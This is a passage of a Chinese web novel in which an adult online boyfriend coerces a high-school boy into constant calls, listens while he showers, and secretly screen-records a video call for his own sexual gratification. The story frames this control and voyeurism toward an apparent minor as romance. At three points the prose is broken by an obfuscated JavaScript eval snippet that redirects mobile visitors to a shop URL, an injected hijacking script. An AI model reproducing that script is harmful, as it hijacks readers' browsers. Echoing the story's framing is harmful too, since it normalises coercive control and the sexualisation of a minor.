自从小学许高富忘记带他去理发起,许颂就自己剪头发了,他早就不记得自己以前头发整齐有型的模样了,如今乍一看似乎觉得有些陌生。 发型的确能改变一个人的气质,何况是厚刘海变中分,连许颂那些参差不齐的尾发也被都被理发师一并修成了碎分。 虽然理发师没有很还原凌航照片中的发型,但新发型无疑是合适许颂的,与他俊丽的五官贴合在一起,将灵秀的气质发挥到了极致。 只是许颂微微一甩头就容易把中分摇成碎盖,而后整个人便随之变得呆萌了一些。 如果要把中分烫出来就要加几百块钱,许颂身上的钱顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14493999|154450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多几十不过百,所以无论理发师如何推销,他也只能在微信付五十块钱。 从理发店出来,许颂从凌航手里接过自己的手机,眼前突然少了一半阴影他还有些不太习惯,时不时地会去摸一下刘海脑袋。 凌航抬手往许颂刚洗剪吹出来的头上揉,手感简直不要太舒服,而且许颂眼睛定住的样子很萌,他不止一次觉得许颂像反应慢的豚鼠。 呆愣呆愣的,怎么揉搓都没脾气的模样。 但凌航知道人不可能一点脾气都没有,毕竟兔子急了也会咬人,许颂自然也有他自己的底线,只是很多事情并不在他的情绪范围内。 凌航收回手时像是忽然想到什么,朝许颂道:“对了,你换发型的事情不要秦弛说,要是他知道了到时候好奇你以前的发型怎么办?” 许颂闻言谨慎地点头,心里也有些默认自己以前的头发剪得不好看。 许颂在理发洗头花了将近半个多小时,这段时间他的手机一直给凌航抓着,现在才打开屏幕,进入微信界面时手机信号转了几圈,而后秦弛的消息像疾风骤雨一般不断地跳出来,转眼间秦弛的头像上的消息就已经近三十条。 许颂放学时是跟秦弛有聊天的,但进理发店后手机就暂时搁置,他没想到秦弛会这么紧张,低头看着秦弛几乎一分钟一条的询问,赶紧打字回复。 颂颂:抱歉哥哥,我刚刚在忙。 因为凌航在旁边,许颂没有将秦弛即刻发过来的大段语音直接播放,而是转成文字。 秦弛:不是放学了吗?颂颂在忙什么?他们又使唤你去帮忙做事? 秦弛:我不是说过颂颂以后不要再答应他们的请求了吗?颂颂把我抛在一边是觉得我还没有那些事情重要吗? 秦弛:明明只有我才是真正的关心颂颂,颂颂怎么能因为他们把我抛在一边呢。 秦弛一连串的控诉让许颂有些懵了,但他还是能够反应得过来,尽可能地打字解释:没有的,哥哥,我没有觉得你不重要,我刚才跟凌航在一起忘了看手机。 秦弛的消息很快回复了,有些善解人意地问:是吗?那颂颂跟朋友刚刚在忙什么。 许颂思考不出借口,于是随意扯了个幌子,回:我们刚刚在聊天。 秦弛:这样吗。 秦弛:可颂颂跟朋友聊这么得开心,我却只能一直在等颂颂回消息。 秦弛:颂颂明明知道我看不到颂颂的回复会很担心…… …… 秦弛的语音一条条发过来,许颂转成文字似乎都能感受到对方紧张委屈的语气,他心里有些内疚,但又不能把没回消息的实情告诉对方,只能笨拙地去哄人,直到吃完饭准备回学校了,才勉强把秦弛哄好,只是哄人的代价有些大。 16.无时无刻 因为秦弛不仅要求他以后必须及时回消息,间隔时间最长不能超过五分钟,还借机缩短了视频露面的约定时间。 许颂已然忘了网恋前秦弛温柔体贴的模样,即便秦弛的每一个请求都令他感到压力倍增,他心里也依旧甘之若饴。 回学校的路上许颂一边回复秦弛的消息一边分神听凌航说话,直到踏进校门口,他才感觉到换发型之后带来的困扰。 几乎迎面而来的每一道视线都让许颂如坐针毡,他不习惯这么强烈的关注,畏缩着肩膀垂低头,紧紧跟着凌航身后。 一些认识的同学跟凌航打完招呼后都会朝许颂看上几眼,平时对许颂毫不在意的他们忽然变友好了一些,也朝许颂打了声招呼。 许颂含糊不清地应了声,视线没有从地面的虚空中离开过。 穿过这些人,凌航勾着他的脖子笑嘻嘻低声说:“他们都说你剪完头发好帅。” 许颂觉得那些人只是顺嘴客气而已,他剪完头发后虽然变化有些大,但也达不到帅的地步。 凌航跟许颂隔壁班,上楼梯转角便到了,许颂还得走一小段路才能回到课室。 单独行走的每一步都让许颂如同针扎一般不自在,回到课室里他几乎没有停歇地开始埋头写作业,只是还没平静呼吸,前桌便忽然回过头来跟他搭话了。 “你怎么突然剪头发了?”她手臂托在许颂桌面上,支着下巴有些好奇问。 许颂闻言紧张地攥着笔低嗯了声,没有抬头跟她交流。 但对方显然没有因此放弃,而是手指微微朝着某个方向指了下,继续笑着搭话:“你耳朵红了,好逗哦。” 许颂闷头装聋作哑,不想再继续搭话,但不知怎么,今天晚修总是有人时不时地过来找他说话。 许颂听不懂什么时髦的话题也不知道什么网络口头禅。 他只习惯跟凌航和秦弛聊天,面对其他人时只能一贯的呆愣结巴,半天答不上一句话。 那些人很快便觉得有些没劲了,书呆子即便换了副装扮内里依旧装着无趣的灵魂。 不过也有人敏锐地好奇问许颂是不是有暗恋对象了。 许颂听见时下意识愣半刹,但很快摇头否认了,心想,他不是暗恋秦弛,他已经跟秦弛谈恋爱了。 网恋。 晚修放学,许颂从躁乱的学校里出来,一晚上紧绷的肩膀终于放松了下来。 他还记得秦弛的请求,第一时间翻开秦弛的微信朝双腿俯拍了一张照片发给对方,慢吞吞打字报备。 颂颂:我放学了,哥哥 颂颂:猫猫开心.jpg 二中的校衣校裤是十分大众的深蓝样式,秦弛并不能从许颂的照片里看出什么端倪,但依旧搜刮了G省使用这套校服的所有城市,勉勉强强排除了一部分地区。 秦弛漫不经心地划掉几座城市的名字,而后才回复许颂的消息。 澜城晚间会刮风,许颂下巴缩在外套领子里,露出的脸颊被风吹得泛红。 不论秦弛提示了多少次,许颂还是不太习惯发语音聊天,手指漏在袖子外迎着凉风慢吞吞打字跟秦弛聊天。 直到即将回到小区门口才准备关掉手机,然而秦弛却有些不满地控诉他不遵守承诺。 许颂这时才发现下午哄人时答应的承诺有多么麻烦,原来秦弛的意思竟然是让他在休息时间无时无刻地陪着对方聊天,连短暂的关闭手机都不允许。 但他还要复习、洗澡、吃饭,这些都是五分钟内做不完的事情,更别说如果其他突发状况。 许颂后知后觉秦弛下午请求的无理,手足无措地停在红绿灯前,半晌才小心翼翼地询问秦弛可不可以换一个请求,他可能做不到每隔五分钟就回复秦弛的消息。 好在晚上的秦弛比下午还要好说话,很快便同意了他的话。 秦弛:那就换一种方式好了。 秦弛:我们可以一直保持通话,这样颂颂平时放学做什么、遇到了什么我都能听见,这样我就不会一直担心颂颂了。 秦弛:怎么样?我不会打扰颂颂做事的。 许颂闻言认真地思考了下又觉得有些为难,问:洗澡也不能挂断吗? 秦弛:不可以,颂颂。 秦弛:如果颂颂回消息做不到,通电话也做不到那就算了。 秦弛:我只是因为见不到颂颂,对颂颂有些担心过度而已,颂颂觉得为难那还是算了吧…… 看着文字许颂似乎已经能感受到秦弛失落的语气,手指犹豫地剐蹭着光滑的屏幕,最终打字。 颂颂:没有的,哥哥。 颂颂:打电话吧,以后放学我都给哥哥打电话,可以吗? 秦弛唇间弯着标准的弧度,按下语音不紧不慢说:“好啊,那颂颂现在就打电话过来吧。” 颂颂:可以回家再打吗? 许颂为难地继续打字:我现在没有耳机。 秦弛很爽快地答应了,许颂这时才关上手机重新过马路往小区的方向走。 虽然许颂中午回家时跟李洁和许高富提过自己要去剪头发,但突然看见头发干净利落的二儿子回来都有点反应不过来。 许高富乐呵呵朝许颂脑袋揉了两把,调侃说:“换了个头发还挺靓啊!更像我了。” 李洁从阳台收衣服回来闻言没好气瞥了他一眼,“都知道家里三个长得像我,要是长得像你现在都跑出去哭鼻子了。” 许高富哈哈哈大笑,拍着许颂的肩膀纳闷:“以前留着那么难看的发型,怎么不好好出去剪个头发?” 许颂垂在裤兜间的手指缩了缩,没搭话,他心里还挂念着答应秦弛的电话,想要快点回房间放下书包。 最后还是李洁让许高富放许颂去洗澡,许颂才有机会进房间。 只是十几分钟没回消息,秦弛便有些生气了,许颂拨打通话过去时,对方的声音都有些闷闷的。 “还以为颂颂要耍赖了。” 许颂揣着手机一边翻找睡衣一边低声哄道:“没有忘的,哥哥。” 耳机里秦弛问他什么时候去洗澡,许颂闻言耳尖微微泛红,有些不好意思地说现在就要去了。 秦弛低笑了一声提醒许颂不能挂断通话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14506278|154450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许颂本来没觉得旖旎,但秦弛笑了一声,暧昧的感觉瞬间爬上来了,还没进浴室淋热水他浑身就已经烧了起来。 虽然说开通话洗澡秦弛也看不见,但许颂却莫名有种被人窥探的感觉,洗澡的时候总是不自觉地回头看向置物架上的手机,最后重新在雾气与水声中低下头。 秦弛听着另一边哗啦啦的水声想象热水从许颂的锁骨流向胸膛、肚脐、胯骨最后到脚踝的画面,指尖沉醉地敲击着旁边的计时器。 手机里水声停止的那一刻,计时器也精准地停了下来,秦弛扫了眼时间,发觉这个时长并不足够他在许颂洗澡的时候来一回,于是有些遗憾地关掉时钟。 但听着另一端的衣料摩擦声秦弛却按捺不住不住情动。 许颂发觉自己的耳机是真的坏了,这两天晚上跟秦弛通话总是出现之前那种问题,于是他听从秦弛的建议换了一对无线耳机。 这样,他平时既可以跟秦弛保持通话,也不会被李洁和许高富发觉异常。 只是因为许颂每次放学都要跟秦弛保持通话,凌航连聊一些小八卦都不好意思跟他说了。 周六下午放学,凌航终于忍不住了,捂着许颂的耳机,小声问他为什么一放学就跟秦弛通着电话,而且也不是特别经常聊天,就单纯接通着,搞得跟监听似的。 许颂没好意思说这是他答应秦弛的请求,只是为了方便秦弛能够听到他的一举一动觉得安心,有些含糊说这样有安全感。 凌航觉得自己跟简澄阳都没有这么腻歪,他虽然不太理解,但依旧选择了接受,只是以后要讲些什么秘密就只能在学校跟许颂说了。 在路口跟凌航分别后,右耳耳机里才渐渐传来秦弛的声音。 “颂颂。” “好快了。” 许颂听见这么没头没尾的一句话还有些纳闷。 很快秦弛便补充上来:“明天晚上颂颂就不能再关掉镜头打视频了哦。” 秦弛的话几乎瞬间警醒了许颂,他的手揣在校服外套兜里紧紧攥着里面的手机。 半晌才低低唔了声,心跳加速时步子不自觉地也加快了。 回到家,许颂右耳的耳机被微垂的耳发遮掩着,客厅的许高富并没有发觉,他听着秦弛的说话声,有些心虚闷头往房间的方向走。 隔壁门里,放假回来的许清宝忽然在房间里朝他招手。 他有些困惑地顿了顿,想起上次不太好的回忆,犹豫地驻足。 许清宝见还在亲哥傻站着,于是伸手去拉他过来:“哎呀,你先进来,是好事。” 耳机里秦弛似乎听见了许清宝的声音,疑惑问:“你妹妹么?” 许颂低低嗯了声,许清宝没听清回头问他在说什么。 许颂摇了摇头说没事。 许清宝见状也不再继续好奇,关上门后神神秘秘抓着书包一阵翻,最后翻出五张红钞,笑嘻嘻塞到许颂手里,有些傲慢地抬着下巴,“老妈以为不给我零花钱我就没办法了?哼,我有的是办法拿到钱。” 许颂闻言手里像是抓了一把烫手山芋。 17.陌生 没等许颂问话,许清宝已经注意到了许颂惊疑不定的神色,一脸坦然地保证:“不是在爸妈房间翻的钱,你放心吧。” 说着,她又如同小孩子邀功一般,悄咪咪凑到许颂面前小声说:“既然答应要还你钱那我就肯定能做到,这些钱都是我自己赚的……” 许颂不知道许清宝所说的赚钱是怎么个赚法,他压根无法猜想一个未成年怎么能够在一个多月间赚到五百块钱。 他的脸色逐渐变得严肃,少有地漏出一丝兄长的权威询问许清宝到底是哪里来的钱。 许清宝支支吾吾摆手:“就赚的呗。” 她其实不太愿意透露自己赚钱的方法,但心里又想要炫耀自己的厉害,最后才小声告诉许颂:“好吧,这其实是我在学校借朋友iPad画画赚的钱,我告诉你,你可别跟爸妈说啊。” 李洁平时控制着许清宝的手机和零花钱,许清宝自然不可能坐以待毙,她鬼点子一大堆,于是跟寝室的朋友合作,借对方的平板接单画画赚钱,虽然赚的钱要和对方AA,但也攒到五百多块钱,而且她还打算借此偷偷再买一部新手机。 许清宝所说定制圈对许颂而言已然有些超标,他头一回知道原来网上画画也能赚钱。 许颂忽然联想起许清宝上个月月考一落千丈的成绩,最后还是把那五百块钱塞回许清宝的手里,低声说:“你自己赚的钱还是你自己留着吧,我的钱不用你还了。” 耳机里秦弛有些不满地嗯了一声,但没等许颂听清,耳边便许清宝的声音占据,她有些兴奋地抓着钱呜呜叫,十分假客气问许颂:“真的不要我还吗?” 许颂点头,继续补充:“你以后还是好好学习吧,不要想着赚钱了。” 许清宝嘴上答应着,实际并没有听从许颂的建议想法,抓着钱挂在许颂身上又蹦又跳,手臂没轻没重擦过许颂的右耳,不慎将许颂的耳机打掉了。 许清宝还有些茫然地愣了秒,而后眼疾手快地将地上耳机捡了起来,震惊地瞪大眼睛看着许颂,一脸吃惊说:“哥,你带手机去上学?!” 许颂神态不太自然地接过耳机,不知该怎么解释。 许清宝随即比了一个保密的手势:“你放心吧,我不会跟爸妈说的,咱们互相保守秘密。” 许颂刚放下心,将耳机重新戴上,挂在肩膀上的许清宝便忽然伸手弹他的刘海,带着笑调侃:“哥,刚刚你进门我还有点不太敢认,你怎么忽然剪头发了?” 几乎是在她说话间,许颂已经警铃大作了,揣在兜里的手有些慌乱地去切断手机里的通话。 许清宝还没注意到他的动作,开心的时候说话的声音很爽朗:“新发型这么潮流,肯定凌航哥带你去剪的。” 她从许颂肩上蹦下来反问:“我说的对不对?” 许颂注意力全在秦弛有没有听见许清宝的话上,他紧紧盯着手机屏幕,有些头痛地斟酌着如何向秦弛解释通话挂断的原因,对许清宝的话只是下意识嗯了声。 许清宝这时才发现她二哥的不对劲,不由得随着许颂的视线看过去。 许颂很少在房间外玩手机,所以许清宝一直没发现许颂的手机换了,现在如此近距离靠着,她几乎一眼发现端倪。 许颂手里的新款少说近一万,按李洁和许高富的性子,自己都舍不得用的东西,自然也不会给许颂买,许清宝几乎很轻易地推测出来这手机是别人送的。 她眯着眼睛笑嘻嘻说:“哥,你换手机了?” 许颂将斟酌出来的理由发给秦弛,听见许清宝的疑问心跳空了半秒,反应有些慢地唔了声。 “我看这个好像是今年出的新版吧,九千多快一万了……”她说着想要从许颂手里抽过来看。 许颂手臂下意识缩了缩躲开了,他并不知道秦弛送的手机竟然这么贵,整个人有些怔然。 许清宝见状也不气馁,眼睛直勾勾看着这部手机,继续问:“这是别人送你的吧?人家送你这么贵的东西,爸妈知道吗?” 许颂大脑有些迟钝地辨析许清宝话里的意思,脸色有些苍白。 许颂完全不敢让李洁和许高富知道秦弛的存在,如果他们知道自己跟一个男生网恋了,绝对不可能只是大发雷霆这么简单。 许清宝轻易地戳中了许颂的弱点,他也迟缓地推测出了许清宝话里的企图。 对方应该是跟当初想要凌航送的那部小电扇一样,想要他手上的这部手机,但这是秦弛送给他的生日礼物…… 许颂低头无声沉默,抓着手机的手低垂着,指尖紧紧扣着手机背板。 许清宝觑着许颂的神色,觉得自己应该猜得大差不差,于是有底气地朝许颂伸手,有些大气道:“这件事呢我可以替跟爸妈瞒着,不过你这部手机借我玩几天,等我有了新手机再还给你。” “怎么样?”临末了,她又善解人意地补充,跟往常从许颂身边要走其他 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她下意识抓了下桌子,稳住自己有些发麻的腿,露出一贯开玩笑地模样,装傻:“算啦算啦,我只是说说而已,不愿意就算了嘛,这么凶干嘛。” 许颂没说话一眼不眨地审视着她,直到许清宝被盯得脊背冷汗直流,才抓起手机扫了眼时间。 许清宝被突如其来的动作吓得一缩,眼睛紧张地注意许颂的一举一动,怕自己二哥发飙。 但许颂只是想他近十分钟没有回复秦弛的消息了,对方可能生气了。 许颂没有理会许清宝有些躲避地动作也没有回答许清宝的话,他在看完时间后没什么表情地合上手机,转身离开了许清宝的房间,但这也足以让许清宝心惊肉跳了。 她一直紧张着,直到许颂走了,才后知后觉喘了口气,第一次觉得自己的二哥有些陌生。 回到房间,许颂肩膀渐渐松垮脱力地趴在桌子上,缓了半晌才去看秦弛的消息,对方果不其然因为他没回信息成了热锅上的蚂蚁,发来接连不断的讯息。 许颂微不可闻地弯起眼,连上耳机后将那些语音再听一遍,似乎连刚才被破坏的心情都转好了一些,而后才慢吞吞将电话回拨过去,没想到对方将通话挂断了。 许颂愣了秒,不过很快对方又重新打过来,只是语音成了视频,几乎于此同时,手机上方跳出秦弛发来的消息提示框,文字带着强势的、命令的语气: 不准关摄像头,颂颂。 18.难哄 许颂盯着那串压迫感十足的文字,手指僵持在屏幕上方,半晌做不出反应。 秦弛的耐心似乎早在没收到许颂消息的那十多分钟里消耗殆尽了,他在许颂不做反应的每一秒重复不断地发来消息,命令许颂打开镜头接通视频。 「不要惹我生气,颂颂。」 秦弛发来这一串话,没再继续弹消息了,像是无声地暗示许颂这是对方留给他最后的机会。 许颂也在这时有所动作,手指迟缓地按下了拨通键。 屏幕界面伴随着通话铃声消失转而被秦弛英俊的脸庞代替。 秦弛愠怒的眉眼展露在许颂面前,然而秦弛的屏幕里却只能看见一道迷糊灰影。 秦弛几乎咬牙切齿地维持着自己狰狞地神态,低声下令:“不要遮住镜头,颂颂。” 许颂觉得这次的秦弛可能会很难哄,手指虚虚笼罩镜头上,带着担心小声说:“我不好看,哥哥可能会不喜欢。” “不会,把手挪开。” 秦弛声音干脆而果断,但许颂还是没有动,企图做出最后一丝挣扎,“可是还没到约定的时间呢,哥哥。” 秦弛眼底几近酝酿着悚人的疯狂,唇角僵硬地扯出友好地笑容,有些控制不住自己的语气:“是吗?可颂颂似乎也没有准守承诺呢,不是答应过会一直跟我通话吗?为什么要挂断我的电话呢?为什么不回消息呢?” 说到最后他已经无法维持温良的表面,漆黑的双眼紧紧盯着镜头,目光像毒蛇衔住了猎物一般锋利,轻声说:“既然颂颂总是耍赖,那我也不想遵守约定了,听话把手挪开好么?” 秦弛最后一句话几乎不带一丝询问语气。 许颂微微咬着唇犹豫着,察觉画面里秦弛的情绪真的快要到临界点了,最后才缓慢地挪动着自己的手指,一点点将自己暴露在镜头下。 秦弛的情绪似乎也被许颂的顺从一点点安抚了,直到少年清隽的面孔完全出现在屏幕中,他额角的青筋再度用力地绷紧。 视频里,许颂换掉了原先厚重的盖发,轻薄的碎发垂落眉梢间,黑框眼镜下那双圆润漂亮的眼睛不好意思垂着,绵长弯翘的睫毛也随之压下一片淡淡的阴影。 他的神态青涩而生动地暴露在镜头下,连眼尾上扬的弧度都在勾人心魄。 但许颂对自己无疑是毫无自信的。 他的脸颊和耳梢因为紧张微微充血透露着淡淡的血色,不安地垂头抿着嘴唇。 他不怎么敢看镜头,只有在秦弛说话时,才会偷偷地朝镜头的方向瞥两下。 秦弛视线落在许颂眉梢间零散的碎发上,表情似乎有些不太美好,说话的语气带着不易察觉的阴凉:“我听见妹妹说颂颂剪头发了,是最近剪的么?” 许颂闻言视线虚飘飘地在四下乱动,不自信地抬了下镜框低低唔了声,害怕秦弛好奇他剪头发之前的模样。 坐立不安间,秦弛的声音阴恻恻传来,带着难以掩饰地怨念,“但颂颂剪头发好像没有告诉我呢。” 许颂在没有经过他的同意下把头发剪了,让所有人都能够肆意扫视许颂那双温良勾人的眼睛,然而他却蒙在鼓里一无所知! 秦弛包含恶意地想要把那些见过许颂的人眼睛都戳瞎了,然而事实上他只能在镜头前看着许颂毫无办法! 秦弛的嫉妒心不受控制肆意疯长,几乎占据了所有的感官,即便他唇角的弧度僵硬地保持着,眉宇间的燥郁却已经无法掩饰。 他真想将翻遍G省的每一座城市,把不听话、喜欢骗人的许颂抓到手关起来…… 秦弛并没有问出许颂所担忧的问题,许颂的内心因此安定了一些,但看着屏幕里秦弛不太自然的脸色心里又一阵打鼓。 秦弛是觉得他剪的头发不好看……还是因为自己剪头发没有告诉对方所以生气了? 许颂怀揣不安地揣测着秦弛话里的意思,愚钝的大脑半天思考不出所以然,只能先笨拙地跟秦弛道歉:“对不起,哥哥,是我忘记了。” “是么?” 秦弛的语气很温和,听起来轻轻柔柔的,“可我不是提醒过颂颂,要把身边的事情都告诉我吗?颂颂怎么能忘记?。” 他注视着许颂低缓的语调中带着秋后算账的意味儿:“颂颂记性这么差以后是会吃教训的。” 许颂心虚地垂着脖子,有些亏欠地跟秦弛承诺以后不会再忘记了。 许颂顺从的态度一定程度上抚慰了秦弛躁动的情绪,他的视线贪婪地从许颂皮肤间滑过,从眉骨、鼻梁落到许颂微抿的唇间。 那处备受蹂躏、带着一丝丝压痕的软唇,在暖光下展露着淡红的色彩。 因为开着摄像头,秦弛没有急切地贴上去,只是用手指在屏幕边摩挲,就仿佛真的能够触碰上去一般。 许颂对屏幕另一端的动作一无所知,他双手有些不自觉地揣在桌边,因为猜不透秦弛的态度,只能悻悻然抬眼皮去打探秦弛的脸色,没想到与对方炽热的视线对个正着。 许颂规律的心跳瞬间漏了半拍。 他不太习惯地躲避视线,而后听见秦弛善解人意地原谅了自己的过错,只是他一直低头的模样令秦弛有些不满。 “我发现颂颂一直都在低着头呢,是因为我刚才生气太可怕了么?”秦弛疑惑道,唇间保持着得体的柔笑,漆黑的眼睛里却没有一丝笑意。 许颂垂着头没有发觉,他手指在桌边来回掰动着,半晌才小声说没有。 秦弛保持着耐心继续询问:“那为什么一直低着头呢?” 许颂绷着肩膀沉默着,嘴唇有些不安地抿紧,半晌才低声说:“我正脸不好看,哥哥还是不要看我了。” 秦弛眉梢微不可闻地扬了下,喉间传来低哑的笑音,将许颂的耳朵刺得酥酥麻麻,他听见秦弛真挚而温柔地说:“很好看,颂颂。” “我很喜欢。” 秦弛在说最后四个字时,吐息轻缓绵长,裹挟着暧昧的旖旎。 许颂手指蜷缩了下,后颈不自觉地有些发热。 “颂颂不要再低着头了,对脊椎不好,嗯?”秦弛关心地提醒着。 许颂大脑迟钝地反应着低低唔了声,半晌在秦弛温声细语的引导中,渐渐抬起头。 脸颊的碎发随着抬脸的动作零散落在许颂泛红的耳边,镜框下的眼睛带着一丝怯懦看向秦弛。 秦弛喉结干燥地滚动着,目光灼灼落在屏幕中央继续低哄道:“对,就是这样……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14544583|154450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “颂颂,把手机抬近一点……” 许颂闻言犹豫着观察秦弛神态,将手机抬近了一些,有些拘谨地问:“这样可以了吗?” 秦弛气息比之前重了些,声音带着一丝哑意说可以了。 他近乎痴迷地注视着屏幕中青涩的面容,不放过任何一个细节,只可惜手机屏幕像素有限,并不能把许颂现实中的模样完完全全投映出来,但这对秦弛来说已经足够了。 他眼底带着无法掩饰的喜爱,低声重复地呢喃着:“真好看啊……颂颂……宝宝……” 听清秦弛的声音后,许颂脊背嗡地麻了,皮肤以肉眼可见的速度变红。 他跟秦弛网恋一个多月,还是第一次听见对方叫他这个称呼。 “害羞了么?脸好红,好可爱,原来颂颂平时害羞的时候是这样的么……”秦弛微微凑近屏幕,近乎贪婪地观察着许颂脸上任何一丝变化,仿佛想要将这些画面永远刻进脑海里。 许颂抱着手机,闻言羞赧地弯下了腰,半个人趴在桌面上,抬起一只手臂去遮挡自己脸上的神态,只露出一双乌黑的眼睛,被框在眼镜中,有些呆地睁着去观察秦弛。 这个视角令秦弛急促的呼吸近乎压持不住,他又低低叫了声宝宝。 许颂外漏在发间的耳朵已经完全失去了原来的肤色覆盖上另一种浓重的色彩。 他仿佛整个人都烧了红,秦弛每叫一声,他的心跳就变得更加剧烈几分,强而有力的节拍占据着他的大脑,令他无法快速作出反应。 许颂像是被一双无形的手擒住了,短暂地无计可施,于是以躲藏的方式,将眼睛、额头都埋了起来用手臂遮挡着,只在镜头中留下一个蓬松的脑袋。 即便后面秦弛没再叫他了,他的心跳也依旧不正常地运作着,浑身燎着燥意。 许颂躲避的反应令秦弛有些懊恼,他想将人重新哄出来,但不论如何,许颂都不愿意动了。 他的脸颊窝着在手臂间,声音有些瓮声瓮气地说:“我不想开镜头了,哥哥,我们还是语音聊天吧。” 秦弛温柔的表情闻言有些撕裂,他眼底翻滚着汹涌的偏执,尽量控制着语气问:“为什么?这样不好吗?” 许颂闷头说不好。 他眼前还架着眼镜,趴下时压得鼻梁有些疼,但因为刚才全身心陷在燥乱的心跳声中许颂一直没有察觉。他微微调整了一下姿势将镜框放松了一些,而后小声地抱怨:“感觉好奇怪,我不想开镜头了。” 秦弛没有第一时间作出答复,只是桌边的艺术品被他强大的力道捏变了形。 即便已经完完全全得到了许颂的信任,许颂也依旧不受他的控制呢。 秦弛内心有些阴沉地想,表面上却和谐地准许了许颂关掉镜头。 几乎在许颂关闭镜头的同时,秦弛按下了屏幕上的录屏结束键。 长达半个小时的通话录屏存进相册,点开时还有些卡顿。 他低头欣赏着自己的杰作,而后将录屏传进电脑中。 电话另一端的许颂并不知道自己的面孔被放大在电脑投影之中。 他毫无防备地看着屏幕中秦弛认真的神态,以为对方跟平时一样在做着什么重要的工作。 19.不满 许颂虽然大部分时间都在和秦弛保持通话,但两人并不是一直都有交流,因为许颂有时候要复习,秦弛偶尔也有其他工作。 不过许颂空闲下来时很喜欢观察视频里办公的秦弛。 男人眉眼认真地注视着前方,目光里带着严肃的考究,每一个操作电脑的动作都令人觉得赏心悦目,甚至带着别样的性感。 许颂刚刚平复的心跳似乎有些卷土重来的架势,他用冰冷的手指去触碰温热的脸颊,以达到震慑的效果,而后带着好奇小声问秦弛怎么突然忙起来啦。 秦弛将那段录屏不必要的部分掐掉,将画质修复后,保存在一个未命名的文件中,闻言缓缓弯起眼:“不忙,刚刚只是处理了一个重要的小工作。” 秦弛没有解释清楚,许颂也没有刨根问底。 许颂对这些东西向来不太关注,他原本一直担心视频通话后秦弛会对他不满意,两人会像众多网恋曝照后不欢而散的情侣一样,但显然,秦弛并不是这么肤浅的人。 许颂在心里对秦弛称赞道。 他以为这次视频通话已经完成了自己的承诺,所以心里的危机感也随着原先的担心一起消散了。 直到第二天早上,秦弛的话伴随着喉间温柔的淡笑声一起传来,语调轻缓:“颂颂好可爱哦,不是答应过以后都不关镜头了么?怎么还关着镜头呢?” 许颂闻言差点两眼发黑,光是昨晚那半个小时的视频通话就磨掉了他一半的勇气,现在面对对镜头是完完全全开始恐惧了。 他挣扎地说:“必须要视频通话吗?语音通话也很好的,哥哥。” “不好,我想看着颂颂写作业。”秦弛道。 昨晚的画面在许颂脑海里还有些印象深刻,他头脑发烫地想象了下视频写作业的画面,手机镜头就仿佛是监视器一般,太奇怪了,这样肯定没办法集中注意力写作业的。 许颂心道,思考时头不自觉地埋低了,说话的声音有些闷:“可我不想这样。” 他带着央求地语气又低低喊了声“哥哥。” “……” 镜头里秦弛忽然没了声音。 许颂莫名觉得有点羞耻,嘴唇绷得很紧。 他等了半晌都没等到秦弛回应,疑惑地抬眼去看手机屏幕,发现屏幕中的秦弛神态不太对劲地低着头,他又温吞地喊了秦弛一声。 对方这时才抬起头扫过来。 秦弛眉梢间的欲气第一时间没有遮掩住,眼底的凶意仿佛能把人淹没,但很快换成了一副姿态,体贴地说好,也将自己的镜头关了。 许颂看着暹罗猫头像蒙圈地眨了眨眼,没想到秦弛这么干脆,他原以为要求一小会儿,秦弛才会同意的。 秦弛关闭镜头时也将声音关了,许颂并没有发觉通话的异常,他专心做题的时候会不自觉发出一些低语,可能是审题目也可能是在做推导。 这些呓语无疑是在加速手机另一端亢奋的神经。 秦弛锋利的双眼紧紧盯着手机里播放的视频画面,神态贪婪而不满。 他在心里叫嚣着如何将对方占据,臆想那一天的到来,病态的执念放大了他内心的欲望。 直到屏幕中的画面被他朦胧的遮掩,秦弛才真正现露出一丝餍足。 …… 以往横行霸道的许清宝这个周末在家里却有些蹑手蹑脚的,像是一只夹着尾巴的猫。 不仅如此她还主动帮忙做家务,做的都是李洁使唤许颂做的事情。 她表达的意思很简单:我帮你忙了,你不要能再因为其他事情跟我计较了。 许颂能够很轻易地读懂许清宝的意思,他在许清宝邀功过来时闷声不响的。 虽然没有表态,但许清宝知道二哥已经不计较了,而且她又没真的借走许颂的手机,许颂生气个什么劲儿? 李洁许高富夫妻两人不知道许清宝心里那点小九九,看着自己无故献殷勤的小女儿,毫不客气损她太阳打西边出来了。 两人虽然嘴上这么说,但脸上的笑容倒是骗不了人,到最后都会把许清宝手里的活接过去,让她一边玩去。 许颂在餐厅擦完桌子,略过嬉闹的一家三口,从房间里提起书包准备出门。 “这么早去学校了?” 许高富看见他,扫了眼客厅里的时钟,四点十分,连许清宝去上学的时间都还没到 